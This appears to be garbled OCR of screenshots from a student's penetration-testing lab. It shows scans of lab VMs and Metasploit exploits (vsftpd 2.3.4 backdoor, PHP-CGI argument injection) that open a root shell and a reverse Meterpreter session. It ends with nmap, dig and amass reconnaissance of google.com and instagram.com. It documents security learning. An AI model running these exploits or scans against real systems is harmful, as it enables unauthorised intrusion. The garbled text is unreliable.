22/tcp open ssh OpensSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
MAC Address: 00:0C:29:0C:D5:0A (VMware)
Service Info: Host: Myubuntu.localdomain; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.81 seconds

~/Desktop
192.168.56.6

starting Nmap 7.95 ( https://nmap.org ) at 2026-04-29 20:45 ACST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers w
ith --dns-servers
Nmap scan report for 192.168.56.6
Host is up (0.0017s latency)
Not shown: 992 closed tcp ports (reset)

PORT  STATE SERVICE VERSTON
53/tcp  open domain simple DNS Plus

80/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

3260/tcp open iscsi?

3389/tcp open ms-wbt-server Microsoft Terminal Services

5985/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)
MAC Address: 00:0C:29:2A:AE:2B (VMuare)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windous

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 114.53 seconds
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-1 adminz@KaliLinux: ~/Desktop Q i
New Folder ~/Desktop
192.168.56.5
[200 oK] Apachel: 1, Country[RESERVED][ "], WTTPServer[ 'ii i inu:]L 1, 1p[192.
68.56.5], PHP[: ], Title[Metasploitable2 - Linux], WebDAV[2], X-Powered-By[PHP/5.2.4-2ubuntu5.10
~/Desktop
http://192.168.56.5/dvma
- Nikto v2.5.0

Target IP: 192.168.56.5

+
+ Target Hostname:  192.168.56.5

+ Target Port: 80

+ Start Time 2026-04-29 20:48:40 (GNT9.5)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2

+ /dma/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-Us/docs/Veb/HTTP/Head
ers/X-Frame-Options

+ /dma/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a dif
ferent fashion to the MIME type. See: https://wmi.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-he
ader/

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch

+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ /i HTTP TRACE method is active which suggests the host is vulnerable to XST. See: [IETTRIINE RTINS VAT SIS TR
site_Tracing

+ 8100 requests: 0 error(s) and 5 item(s) reported on remote host

+ End Time: 2026-04-29 20:49:06 (GMT9.5) (26 seconds)

+ 1 host(s) tested

~/Desktop
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-1 adminz@KaliLinux: ~/Desktop Q i

New Folder ~/Desktop.

21,80 192.168.56.5
starting Nmap 7.95 ( https://nmap.org ) at 2026-4-29 20:50 ACST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers w
ith --dns-servers

Nmap scan report for 192.168.56.5

Host is up (0.00056s latency)

PORT  STATE SERVICE VERSION
21/tcp open ftp  vsftpd 2.3.4

80/tcp open http  Apache httpd 2.2.8 ((Ubuntu) DAV/2)
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.78 seconds

~/Desktop

input to this VM, click inside or press Ctrl+G.
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Q search

New Folder
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-1 adminz@KaliLinux: ~/Desktop Q i

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.78 seconds

’f( adminz® KaliLinux)-[~/Desktop]
$ msfconsole
Metasploit tip: Start commands with a space to avoid saving them to history

IIIIIT
11
11
11
11

IIIIIT

I love shells --egypt

1
+ 2519 exploits - 1296 auxiliary - 431 post
+ 1610 payloads - 49 encoders - 13 nops
+ -- —-=[ 9 evasion 1
Metasploit Documentation: https://docs.metasploit.con/
msf6 >
msf6 > search vsftpd 2.3.4
Matching Modules

Check Description

# Name Disclosure Date

0 exploit/unix/ftp/USHEPd_234_backdoor 2011-07-03

excellent No

VSETPD 2R3N Backdoor Command Execution

Interact with a module by name or index. For example info 0, use © or use exploit/unix/ftp/vsftpd_234_backdoor

nsfé > use 0
[+] No payload configured, defaulting to cmd/unix/interact

nsf6 exploit( ) >
nsf6 exploit( ) >
exploit( ) >




image20.png
@ Kali
File Edit

Library
*

1 My Computer
55 Ubuntu 64-bit
[ Kali_2025
[ Metasploitable
G w

To direct input to this VM, click inside or pr
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msf6 > search vsftpd 2.3.4

Matching Modules

# Name

I3 Ubuntu 6:

Apr29 8:53PM

adminz@KaliLinux: ~/Desktop Q i

Disclosure Date Check Description

0 exploit/unix/ftp/USHEPd_234_backdoor 2011-07-03 excellent No VSETPD v2R3ME Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

nsf6 > use 0

[+] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(
msf6 exploit(
msf6 exploit(
RHOSTS => 192.168.56.5
msf6 exploit(

) >
) >
) > set RHOSTS 192.168.56.5

) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Current Setting Required

no
CPORT no
Proxies no
[LS S 192 .168.56.5 yes
RPORT 21 yes

Exploit target:

0 Automatic

Description
The local client address

The local client port

A proxy chain of format type:host:port[,type:host:port][...]

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-ne
tasploit.html

The target port (TCP)

View the full module info with the info, or info -d command

nsf6 exploit(

)>1

® 3% @a% tooks Looks

O¢ o

08:52 PM
-04-20
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-1 adminz@KaliLinux: ~/Desktop Q i

New Folder msf6 exploit(unix/fip/vsfipd 234 backdoor) > exploit

192.168.56.5:21 - Banner: 220 (vsFTPd 2.3.4)
21 - USER: 331 Please specify the password.

192.168.56.
192.168.56.5:21 - Backdoor service has been spawned, handling..
192.168.56.5:21 - UID: uid=0(root) gid=0(root)

Found shell.

Command shell session 1 opened (192.168.56.9:34835 -> 192.168.56.5:6200) at 2026-04-29 20

1s

11

Test

bin

boot

cdron
~dev
etc
filel
hacked
home
initrd
initrd. ing
1ib
Tost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test
testingpurpose
tmp
usr
var
vmlinuz
yourcomputerhacked

input to this VM, click inside or press Ctrl+G.

Qs I3 @ RO OH O O




image22.png
Kali_2025 -

Edit

[ Ubunt:

Apps  Places Apr29 8:54PM ® 3% @a% 100kB 00kB o¢ o

-1 adminz@KaliLinux: ~/Desktop Q i

New Folder s

111
Test
bin
boot
cdron
dev
etc
filel
hacked
home
initrd
initrd. ing
1ib
Tost+found
media

—mnt
nohup.out
opt
proc
root
sbin
srv
sys
test
testingpurpose
tmp
usr
var
vmlinuz
yourcomputerhacked

mkdir Test
mkdir: cannot create directory “Test': File exists

Inkdir Test123456
Inkdir Hacked

input to this VM, click inside or press Ctrl+G.
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msfadmin@m
msfadmin@m
msfadmin@m
111 etc
fil
hac
Hac
dev hom
msfadmin@m

UP BROADCAST RUNNING MULTICAS MTU:1500 Metric:1
RX packets:63 errors:0 dropped:0 overruns:0 frame:0

TX packets:120 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:3780 (3.6 KB) TX bytes:11784 (11.5 KB)
Interrupt:17 Base address:0x2000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:156 errors:0 dropped:0 overruns:0 frame:0
TX packets:156 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:42157 (41.1 KB) TX bytes:42157 (41.1 KB)

etasploitable:™$
etasploitable:"§ cd ~
etasploitable:/§ 1s

initrd mnt shin Test123456 vmlinuz
el initrd.img nohup.out srv testingpurpose yourcomputerhacked
ked 1lib opt sys tmp
ked lost+found proc test usr
e media root Test wvar

etasploitable:/$ _
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Q search
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-1 adminz@KaliLinux: ~/Desktop Q i

mkdir Hacked

exit

[+] 192.168.56.5 - Command shell session 1 closed
nsf6 exploit( ) > back
nsfé >

nsfé >

nsfé >

nsfé > search http_version

Matching Modules

# Name Disclosure Date Rank  Check Description

normal No

0 auxiliary/scanner/http/ FEEIIVEESHOR

HTTP Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version

nsf6 > use 0
nsf6 auxiliary(
nsf6 auxiliary(
nsf6 auxiliary(
msf6

>
>
>
auxiliary( >

shou options

Module options (auxiliary/scanner/http/http_version):

Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS ves The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
tasploit.html

RPORT 80 yes The target port (TCP)

ssL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command

nsfé auxiliary( )> 1

08:55 PM

P !;;1 b ‘;) © 2 -0 ;




image25.png
@ Kali
File Edit

Library
*

1 My Computer
55 Ubuntu 64-bit
[ Kali_2025
[ Metasploitable
G w

To direct input to this VM, click inside or pr
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a

I3 Ubuntu 6:
Apr29 8:56PM

adminz@KaliLinux: ~/Desktop Q

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version

msf6 > use O

nsf6 auxiliary(
nsf6 auxiliary(
nsf6 auxiliary(
nsf6 auxiliary(

) >
) >
) >
) >

shou options

Module options (auxiliary/scanner/http/http_version):

Proxies
RHOSTS

RPORT 80
ssL false
THREADS 1
VHOST

Current Setting

Required

no
yes

yes
no
yes
no

Description
A proxy chain of format type:host:port[,type:host:port][...]

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
tasploit.html

The target port (TCP)

Negotiate SSL/TLS for outgoing connections

The number of concurrent threads (max one per host)

HTTP server virtual host

View the full module info with the info, or info -d command.

nsfé auxiliary(
RHOSTS => 192.168.56.5
nsfé auxiliary(

Module options (auxiliary/scanner/http/http_version):

Proxies
RHOSTS  192.168.56.5

RPORT 80
ssL false
THREADS 1
VHOST

Current Setting

Required

no
yes

yes
no
yes
no

) > set RHOSTS 192.168.56.5

) > shou options

Description
A proxy chain of format type:host:port[,type:host:port][...]

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
tasploit.html

The target port (TCP)

Negotiate SSL/TLS for outgoing connections

The number of concurrent threads (max one per host)

HTTP server virtual host

View the full module info with the info, or info -d command

nsfé auxiliary(

PO DOE

)>1

@a2% 100kB L0OKB

O¢ o

08:55 PM
-04-20
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1 My Computer
5 Ubuntu 64-bit a adminz@KaliLinux: ~/Desktop Q i
[ Kali 2025 Module options (auxiliary/scanner/http/http_version)
New Folder

[ Metasploitable

5w Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS ves The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-ne
tasploit.html

RPORT 80 yes The target port (TCP)

ssL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 ves The number of concurrent threads (max one per host)

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command

nsf6 auxiliary( ) > set RHOSTS 192.168.56.5
RHOSTS => 192.168.56.5
nsfé auxiliary( ) > show options

Module options (auxiliary/scanner/http/http_version):

Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS ~ 192.168.56.5  yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-ne
tasploit.html

RPORT 80 ves The target port (TCP)

ssL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.
nsf6 auxiliary( ) > exploit

/ust/share/metasploit-framevork/vendor/bundle/ruby/3.3.0/gens/recog-3.1.16/1ib/recog/fingerprint/regexp_factory.rb
sted repeat operator '+' and '?' was replaced with 'x' in regular expression

141 192.168.56.5:50 Apache/2.2.6 (Ubunte) DAV/2 ( Powered by
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf6 auxiliary(
auxiliary(

warning: ne

To direct input to this VM, click inside or pr

Qsearcn | 1
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[ Windows Server 2022 ¥ || ¢y Offsec ™y Kali Linux & Kali Tools [ Kali Docs ¥ Kali Forums & Kali NetHunter & Exploit-DB & Google Hacking DB
[ Windows 8. x64 *
PHP Version 5.2.4-2ubuntus.10 W
system Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:
i686
Build Date |Jan 6 2010 21:50:12
Server API CallFastCal
|Virtual Directory disabled
Support
Configuration File retc/phpsicgi
(php.i
Loaded Configuration | /etc/phps/cgi/php.ini
File
Jetc/phps/cgi/conf.d
/etc/phpS/cgilconf.digd.ini, fetc/phps/cgi/conf.d/mysql.ini, /etc/phpS/cgil
 conf.d/mysgli.ini, /fetc/phps/egicon.d/pdo.ini, fete/phps/cgi/conf.d/
pdo_mysglini
PHP APL 20041225
PHP Extension 20060613
Zend Extension 220060519
Debug Build no
Thread Safety disabled
Zend Memory Manager |enabled
1Pv6 Support enabled
Registered PHP Streams | zip, php, file, data, http, ftp, compress.bzip2, compress.zlib, https, ftps
Registered Stream tcp, udp, unix, udg, ssl, ssiv3, sshv2, tis.
Socket Transports
Registered Stream string.rot13, string.toupper, string.tolower, stringstrip_tags, convert.*,
consumed, convert.iconv.*, bzip2.*, zlib.*
| This server is protected with the Suhosin Patch 0.9.6. 2 = 2
To direct input to this VM, click inside or press Ctrl+G. =1k LN P
ENG 08:57 PM
~ 2 O
Csacn g N & us A sg0s006





image28.png
@ Kali
File Edit

Library
*

1 My Computer
55 Ubuntu 64-bit
[ Kali_2025
[ Metasploitable
G w

To direct input to this VM, click inside or pr

New Folder

Qsearcn | 1

I3 Ubuntu 6:

Apr29 8:58PM

-1 adminz@KaliLinux: ~/Desktop Q i
tasploit.html
RPORT 80 yes The target port (TCP)
ssL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host

View the full module info with the info, or info -d command

msf6 auxiliary( ) > exploit
/ust/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gens/recog-3.1.16/1ib/recog/fingerprint/regexp_factory.rb:34: warning: ne
sted repeat operator '+' and '?' was replaced with '*' in regular expression
[+] 192.168.56.5:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary( ) >
msf6 auxiliary( ) > back
msf6 >
msf6 >
msf6 > search php_cgi
Matching Modules
# Name Disclosure Date Rank Check Description
0 exploit/multi/http/] arg_injection 2012-05-03 excellent Yes  PHP CGI Argument Injection
1 exploit/windows/http/| arg_injection_rce_cve_2024_4577 2024-06-06 excellent Yes  PHP CGI Argument Injection

Remote Code Execution
2 \_ target: Windows PHP o o o
3 \_ target: Windows Command o . .

Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_
4577
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command’

nsfé > use 0
[+] No payload configured, defaulting to php/meterpreter/reverse_tcp

nsfé exploit( ) >
nsfé exploit( ) >
exploit(

@ s% @56% 100kB L00kB

o
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I My Computer
5 Ubuntu 64-bit a adminz@KaliLinux: ~/Desktop Q i
[ Kali_2025 [+] 192.168.56.5:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
[ Metasploitable New Folder [+] Scanned 1 of 1 hosts (100% complete)
Ew [*] Auxiliary module execution completed
nsf6 auxiliary( ) >
nsf6 auxiliary( ) > back
nsf6 >
sf6 >

nsfé > search php_cgi

Matching Modules

Name Disclosure Date Rank
exploit/multi/http/] arg_injection 2012-05-03 excellent Yes  PHP CGI Argument Injection
1 exploit/windows/http/| arg_injection_rce_cve_2024_4577 2024-06-06 excellent Yes  PHP CGI Argument Injection
Remote Code Execution

2 \_ target: Windows PHP o o o

3 \_ target: Windows Command . o .

Description

o=

Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_
4577
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command’

nsfé > use 0
[+] No payload configured, defaulting to php/meterpreter/reverse_tcp

nsf6 exploit( )>

nsf6 exploit( ) >

msf6 exploit( ) > set RHOSTS 192.168.56.5
RHOSTS => 192.168.56.5

nsf6 exploit( ) >

msf6 exploit( ) > set LHOST 192.168.56.9

LHOST => 192.168.56.9
nsfé exploit( ) >
nsfé exploit( ) > exploit

[+] Started reverse TCP handler on 192.168.56.9: 4444
[+] Sending stage (40004 bytes) to 192.168.56.5
[#] Meterpreter session 2 opened (192.168.56.9:4444 -> 192.168.56.5:50334) at 2026-04-29 20:59:20 +0930

meterpreter >

neterpreter >
neterpreter > ||

To direct input to this VM, click inside or pr

Qsearch B » Q o Q ©
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To direct input to this VM, click inside or pr

Q search
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a

RHOSTS => 192.168.56.5
msf6 exploit(
msf6 exploit(
LHOST => 192.168.56.9
msf6 exploit(
msf6 exploit(

I3 Ubuntu 6:

Apr29 9:00PM

adminz@KaliLinux: ~/Desktop

) >
)

) >
) > exploit

[+] Started reverse TCP handler on 192.168.56.9: 4444
[+] Sending stage (40004 bytes) to 192.168.56.5
[#] Meterpreter session 2 opened (192.168.56.9:4444 -> 192.168.56.5:50334) at 2026-04-29 20:59:20 +0930

meterpreter >
meterpreter >
meterpreter > 1s
Listing: /var/umm

Mode size
040755/Tuxr-Xr-x  17592186048512
040755/Tuxr-xr-x  17592186048512
041777/ruxruxrux  17592186048512
040755/Tuxr-xr-x  17592186048512
100644/ru-r--r-- 3826815861627
040755/Tuxr-xr-x  17592186048512
040755/Tuxr-xr-x  17592186048512
100644/ ru-1--T-- 81604378643

040755/Tuxr-xr-x  17592186048512
040775/Tuxruxr-x  87960930242560
040775/Tuxruxr-x 8796093242560
040755/Tuxr-xr-x  17592186048512

meterpreter > shell
Process 5496 created.
Channel 0 created.

pud
/var /v

mkdir YourMachineHacked

Last modified

241871282937-02-17
241895350687-04-21
240343123300-02-02
182042482449-05-13
182042311505-02-18
181964996940-06-01
181964937872-02-09
173039983614-08-05
181965051925-08-31
173083439924-11-22
173040024853-07-12
173046477589-12-25

set LHOST 192.168.56.9

+1030
+0930
+1030
+0930
+1030
+0930
+1030
+0930
+0930
+1030
+0930
+1030

Name
Hacked
YourComputerhacked
dav

dvua

index.php
mutillidae
phpiyAdnin
phpinfo.php

test

tikiwiki
tikiwiki-old
tuiki

@ 1% @56% 100kB L00kB
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Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:156 errors:0 dropped:0 overruns:0 frame:0
TX packets:156 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:42157 (41.1 KB) TX bytes:42157 (41.1 KB)

msfﬁdmin@metasploitdble:”S

msfadmin@metasploitable:™$ cd ~

msfadmin@metasploitable:/$ ls

111 etc initrd mnt sbin Test123456 umlinuz

filel initrd.img mnohup.out srv testingpurpose yourcomputerhacked
hacked 1ib opt sys tmp
Hacked lost+found proc test usr
home media root Test wvar

msfadmin@metasploitable:/5 cd /var/uwuu
msfadmin@metasploitable:/var/uwu$ ls

dav index.php phpMyAdmin tikiwiki-old YourMachineHacked
mutillidae test tuwiki

phpinfo.php tikiwiki YourComputerHacked
msfadmin@metasploitable:/uar/uuuS
msfadmin@metasploitable:/uar/uuuS
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LHOST ~ 192.168.56.9  yes The listen address (an interface may be specified)
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Exploit target:

0 Wildcard Target

View the full module info with the info, or info -d command
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Version 2.9.15.1 GRE (Build 15125)

By Martin Roesch & The Snort Team: http://www.snort.org/contact#tean
Copyright (C) 2014-2019 Cisco and/or its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.
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By Martin Roesch & The Snort Team: http://www.snort.org/contact#tean
Copyright (C) 2014-2019 Cisco and/or its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.
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LOCAL RULES

This file intentionally does not come with signatures. Put your local
additions here.

alert tcp SEXTERNAL_NET any -> SHOME_NET 21 (msg:"FTP connection attempt OUR RULE RULES"; sid:1000002; rev:i;)

[#alert tcp SEXTERNAL_NET any -> SHOME_NET 21 (msg:"POLICY FTP anonymous login attempt; flow:to_server,established; content:"USER"; nocasel]

‘"OPBPPONE®GC
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,_—(kali@ kali)-[~]
$ sudo apt install nmap

Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done

nmap is already the newest version (7.94+dfsgl-1kalil).

The following packages were automatically installed and are no longer required:
android-libbase android-libboringssl android-libcutils android-liblog android-libziparchive
faraday-client fastjar gdal-data girl.2-ayatanaappindicator3-0.1 jarwrapper libarmadillol® libarpack2
libcfitsio9 libcharls2 libdap27 libdapclient6v5 libepsilonl libexporter-tiny-perl libfreexll libfyba®@
libgdk-pixbuf-x1ib-2.0-0 1ibgdk-pixbuf2.0-0 libgeos-3.9.1 libgeos-clv5 libgeo0s3.12.0 libgeotiff5
libhdf4-0-alt 1ibhdf5-h1-100 libheifl libhttp-server-simple-perl libkmlbasel libkmldoml libkmlenginel
liblist-moreutils-perl liblist-moreutils-xs-perl liblttng-ust-ctl4 liblttng-ust@ libnetcdf18
libogdi4.1 libproj19 libproj25 libpython3.9-dev libghull8.0 librttopol libspatialite7 libsuperlu5
libtbb2 liburiparserl libxerces-c3.2 libyara4 odbcinst odbcinstldebian2 proj-data
python-mpltoolkits.basemap-data python3-deprecation python3-editor python3-flask-security
python3-ipython-genutils python3-pyproj python3-pyshp python3-speaklater python3-texttable python3.9
python3.9-dev python3.9-minimal ruby-atomic ruby-thread-safe sphinx-rtd-theme-common

Use 'sudo apt autoremove' to remove them.

0 upgraded, 0 newly installed, @ to remove and 1108 not upgraded.
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L—(kali@ kali)-[~]

$ nmap www.google.com

Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-22 10:00 EDT
Nmap scan report for www.google.com (142.250.183.132)

Host is up (0.018s latency).

Other addresses for www.google.com (not scanned): 2404:6800:4009:824 ::2004
rDNS record for 142.250.183.132: bom@7s31-in-f4.1el100.net

Not shown: 998 filtered tcp ports (no-response)

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 4.50 seconds
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(kali® kali)-[~]
sudo nmap -f -A -0 waw.google.com
Starting Nmap 7.91 ( https://nmap.org ) at 2023-08-11 01:17 EDT
Stats: 0:00:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 3.50% done; ETC: 01:19 (0:01:23 remaining)
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 79.50% done; ETC: 01:18 (0:00:12 remaining)
Nmap scan report for www.google.com (142.250.192.100)
Host is up (0.060s latency).
Other addresses for www.google.com (not scanned): 2404:6800:4009:82a:: 2004
TDNS record for 142.250.192.100: bom12s17-in-f4.1e100.net
ALl 1000 scanned ports on www.google.com (142.250.192.100) are filtered
Too many fingerprints match this host to give specific 0S details
Network Distance: 12 hops

TRACEROUTE (using proto 1/icmp)

HOP RTT ADDRESS

5.72 ms 192.168.81.220

66.91 ms 255.0.0.0

66.95 ms 255.0.0.2

70.21 ms 255.0.0.3

62.55 ms 172.17.185.131

62.60 ms 192.168.111.110

.. 8

82.23 ms 74.125.32.0

10 56.06 ms 216.239.57.17

11 73.98 ms 72.14.237.139 .
12 64.75 ms boml12s17-in-f4.1e100.net (142.250.192.100)

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.16 seconds
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L’(ka'li@ka'li)f['-]
$ dig google.com -t mx aaa

; <<>> DiG 9.16.15-Debian <<>> google.com -t mx aaa

; global options: +cmd

Got answer:

—»HEADER«— opcode: QUERY, status: NOERROR, id: 12283

; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: @, ADDITIONAL: 1

; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 1280

;; QUESTION SECTION:

;google.com. IN MX

;; ANSWER SECTION:
google. com. 300 IN MX 10 smtp.google.com.

; Query time: 247 msec

SERVER: 192.168.139.234#53(192.168.139.234)
WHEN: Fri Aug 25 01:45:45 EDT 2023

MSG SIZE rcvd: 60

Got answer:
—»HEADER«— opcode: QUERY, status: NOERROR, id: 15301
; flags: qr rd ra ad; QUERY: 1, ANSWER: @, AUTHORITY: 1, ADDITIONAL: 1

; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 1280

;; QUESTION SECTION:

;aaa. IN A

33 AUTHORITY SECTION:
EEER 623 IN SOA nsl.dns.nic.aaa. admin.tldns.godaddy. 1692884222 1800 300 604800 1800

; Query time: 87 msec

SERVER: 192.168.139.234#53(192.168.139.234)
WHEN: Fri Aug 25 01:45:45 EDT 2023

MSG SIZE rcvd: 99
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lali@kali: ~
File Actions Edit View Help

L—(kal:i.@ kali)-[~]
$ dig amazon.com +noall +answer
amazon.com. 813 IN A 52.94.236.248

amazon.com. 813 IN A 205.251.242.103
amazon.com. 813 IN A 54.239.28.85
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amass enum -d instagram.com >/home/kali/Desktop/instagram.txt
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1finstagram.com (FQDN) —> mx_record — mxb-00082601.gs1b.pphosted.com (FQDN)
2 instagram.com (FQDN) —> mx_record — mxa-00082601.gslb.pphosted.com (FQDN)

3 instagram.com (FQDN) —> ns_record — a.ns.instagram.com (FQDN)

4 instagram.com (FQDN) —> ns_record —» c.ns.instagram.com (FQDN)

5 instagram.com (FQDN) —> ns_record — b.ns.instagram.com (FQDN)

6 instagram.com (FQDN) —> ns_record — d.ns.instagram.com (FQDN)

7 ww . instagram.con (FQDN) —> cname_record —> geo-p42.instagram.com (FQDN)

8 geo-p42.instagram.com (FQDN) —> cname_record —> z-p42-instagram.c10r.instagram.com (FQDN)

9 help. instagram.com (FQDN) —> cname_record —» z-p42-instagram.c10r.instagram.com (FQDN)

10 graphql.instagram.com (FQDN) —» cname_record —> instagram.c10r.instagram.com (FQDN)

11 badges. instagram.com (FQDN) —> cname_record — instagram.c10r.instagram.com (FQDN)

12 gateway . instagram.com (FQDN) — cname_record —> dgw.c10r. facebook.com (FQDN)

13 intern. instagram.com (FQDN) —> cname_record — internextern.vvv.facebook.com (FQDN)

14 edge-chat.instagram.com (FQDN) —> cname_record — instagram.c10r. facebook.com (FQDN)

15 survey. instagram.com (FQDN) —> cname_record — instagram.c10r.instagram.com (FQDN)

16 blog. instagram.com (FQDN) —> cname_record —> star.c1or.facebook.com (FQDN)

17 unknownjapan. instagram.com (FQDN) —> cname_record — star.c10r.facebook.com (FQDN)

18 upload. instagram.com (FQDN) —> cname_record — instagram.c10r. facebook.com (FQDN)

19 admin. instagram.con (FQDN) —> cname_record —> intern-managed-client.c10r. facebook.com (FQDN)
20 community.instagram.com (FQDN) — cname_record —> instagram.c10r.instagram.com (FQDN)

21 engineering. instagram.com (FQDN) —> cname_record — star.c10r. facebook.com (FQDN)

22 trunkstable. instagram.com (FQDN) —> cname_record — latest.c10r. facebook.com (FQDN)

23 prod. instagram.com (FQDN) —> cname_record —» geo.instagram.com (FQDN)

24 api.instagram.com (FQDN) —> cname_record —> i.instagram.com (FQDN)

25 maps. instagram.com (FQDN) —> cname_record —> i.instagram.com (FQDN)

26 2-p15.upload. instagram.com (FQDN) — cname_record —> z-p15-instagram.c10r. facebook.com (FQDN)
27 graph. instagram.com (FQN) —> cname_record — instagram.c10r.instagram.com (FQDN)

28 z-p42.1.instagram.com (FQDN) —> cname_record —> z-p42-instagram.cior.facebook.com (FQDN)

29 business. instagram.com (FQDN) —> cname_record — instagram.c10r.instagram.com (FQDN)

30 preprod. instagram.con (FQDN) —> cname_record —> instagram. c1or.facebook.com (FQDN)

31 call.instagram.com (FQDN) —> cname_record —> instagram.c1or.instagram.com (FQDN)

32 auth. instagram.com (FQDN) —> cname_record —> instagram.c1or.instagram.com (FQDN)

33 z-p4.maps . instagram.com (FQDN) —> cname_record —> z-p4-instagram. c1or.facebook.com (FQDN)
34 approval..instagram.com (FQDN) —> cname_record — instagram.c10r.instagram.com (FQDN)

35 z-p15.graph. instagram.com (FQDN) —> cname_record — z-p15-instagram. clor.facebook.com (FQDN)
36 my-od-1.instagram.con (FQDN) —> cname_record —> ondemand-edge.c10r. facebook.com (FQDN)

37 reg-e2ee. instagram.com (FQDN) —> cname_record — instagram.c10r. facebook.com (FQDN)

38 my-od-2. instagram.com (FQDN) —> cname_record —> ondemand-edge.c10r. facebook.com (FQDN)

39 live-upload. instagram.com (FQDN) —> cname_record — edgetee-upload.xx.fbcdn.net (FQDN)

40 developers. instagram.con (FQDN) —> cname_record — star.c10r. facebook.com (FQDN)

41 privacy. instagram.con (FQDN) —> cname_record — star.c10r. facebook.com (FQDN)

42 safety.instagram.com (FQDN) — cname_record —> star.c1or.facebook.com (FQDN)

